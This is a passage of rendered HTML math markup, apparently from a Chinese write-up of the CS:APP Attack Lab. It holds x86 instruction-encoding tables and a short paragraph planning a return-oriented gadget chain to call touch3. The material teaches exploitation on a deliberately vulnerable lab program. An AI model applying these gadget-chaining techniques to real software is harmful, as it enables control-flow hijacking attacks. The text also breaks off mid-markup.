mathnormal">x</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">es</span><span class="mord mathnormal">p</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span><span class="mord mathnormal">p</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">es</span><span class="mord mathnormal">i</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="vertical-separator" style="height:12em;border-right-width:0.04em;border-right-style:solid;margin:0 -0.02em;vertical-align:-5.75em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Dest. </span></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">0</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">8</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">8</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">0</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">8</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">0</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">ec</span><span class="mord mathnormal">x</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">1</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">9</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">9</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">1</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">9</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">1</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">9</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">x</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">2</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord mathnormal">a</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">a</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">2</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">2</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span><span class="mord mathnormal">x</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">3</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord mathnormal">b</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">3</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">b</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">3</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">3</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">es</span><span class="mord mathnormal">p</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">4</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">cc</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">4</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">c</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">4</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">ec</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">4</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span><span class="mord mathnormal">p</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">5</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord mathnormal">d</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">5</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">dd</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">5</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">5</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">fd</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">es</span><span class="mord mathnormal">i</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">6</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">ce</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">6</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">6</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">ee</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">6</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">e</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.25em;"><span style="top:-8.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span></span></span><span style="top:-6.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">7</span></span></span><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">7</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">df</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord">7</span></span></span><span style="top:-0.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span><span style="top:1.19em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">7</span></span></span><span style="top:2.39em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">89</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10764em;">ff</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span></span></span><span style="top:-12.1em;"><span class="pstrut" style="height:8.25em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span><span style="top:-13.3em;"><span class="pstrut" style="height:8.25em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.75em;"><span></span></span></span></span></span></span></span></span></span></p><p>题目中提示用到八个 gadget，已经用掉两个处理 <code>%rsp</code> -&gt; <code>%rdi</code>，<code>popq</code> 算一个，前面的 <code>lea</code> 算一个，<code>lea</code> 的结果在 <code>%rax</code>，而 <code>touch3</code> 需要的参数在 <code>%rsi</code>，还需要一个 <code>movq %rax, %rsi; ret</code> 的 gadget，所以可以得出 <code>popq</code> 之后会辗转调用三次 <code>movl</code>。</p><p>题目还提示，<code>90</code> 是 <code>nop</code> 指令，可以当作无效指令用来填充，以及以下的这些也可以填充:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.16em" columnalign="left left left left left" columnlines="solid none none none" columnspacing="1em" rowlines="solid none none none"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>Operation</mtext></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>a</mi><mi>l</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>c</mi><mi>l</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>d</mi><mi>l</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>b</mi><mi>l</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>andb </mtext><mi>R</mi><mo separator="true">,</mo><mi>R</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>20</mn><mtext> </mtext><mi>c</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>20</mn><mtext> </mtext><mi>c</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>20</mn><mtext> </mtext><mi>d</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>20</mn><mtext> </mtext><mi>d</mi><mi>b</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>orb </mtext><mi>R</mi><mo separator="true">,</mo><mi>R</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>08</mn><mtext> </mtext><mi>c</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>08</mn><mtext> </mtext><mi>c</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>08</mn><mtext> </mtext><mi>d</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>08</mn><mtext> </mtext><mi>d</mi><mi>b</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>cmpb </mtext><mi>R</mi><mo separator="true">,</mo><mi>R</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>38</mn><mtext> </mtext><mi>c</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>38</mn><mtext> </mtext><mi>c</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>38</mn><mtext> </mtext><mi>d</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>38</mn><mtext> </mtext><mi>d</mi><mi>b</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>testb </mtext><mi>R</mi><mo separator="true">,</mo><mi>R</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>84</mn><mtext> </mtext><mi>c</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>84</mn><mtext> </mtext><mi>c</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>84</mn><mtext> </mtext><mi>d</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>84</mn><mtext> </mtext><mi>d</mi><mi>b</mi></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{array}{l|llll}\text{Operation} &amp;  \%al &amp;  \%cl &amp;  \%dl &amp;  \%bl \\\hline\text{andb } R, R &amp; 20\ c0 &amp; 20\ c9 &amp; 20\ d2 &amp; 20\ db \\\text{orb } R, R  &amp; 08\ c0 &amp; 08\ c9 &amp; 08\ d2 &amp; 08\ db \\\text{cmpb } R, R &amp; 38\ c0 &amp; 38\ c9 &amp; 38\ d2 &amp; 38\ db \\\text{testb } R, R &amp; 84\ c0 &amp; 84\ c9 &amp; 84\ d2 &amp; 84\ db \\\end{array}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:6em;vertical-align:-2.75em;"></span><span class="mord"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.25em;"><span class="pstrut" style="height:5.25em;"></span><span class="mtable"><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Operation</span></span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">andb </span></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">orb </span></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">cmpb </span></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">testb </span></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="vertical-separator" style="height:6em;border-right-width:0.04em;border-right-style:solid;margin:0 -0.02em;vertical-align:-2.75em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">20</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">08</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">38</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">0</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">84</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">20</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">9</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">08</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">9</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">38</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">9</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">84</span><span class="mspace"> </span><span class="mord mathnormal">c</span><span class="mord">9</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">20</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">2</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">08</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">2</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">38</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">2</span></span></span><span style="top:-0.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">84</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.75em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.25em;"><span style="top:-5.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">%</span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">20</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">b</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">08</span><span class="mspace"> </span><span class="mord mathnormal">d</span><span class="mord mathnormal">b</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">38</span><span class="mspace"> </span><span 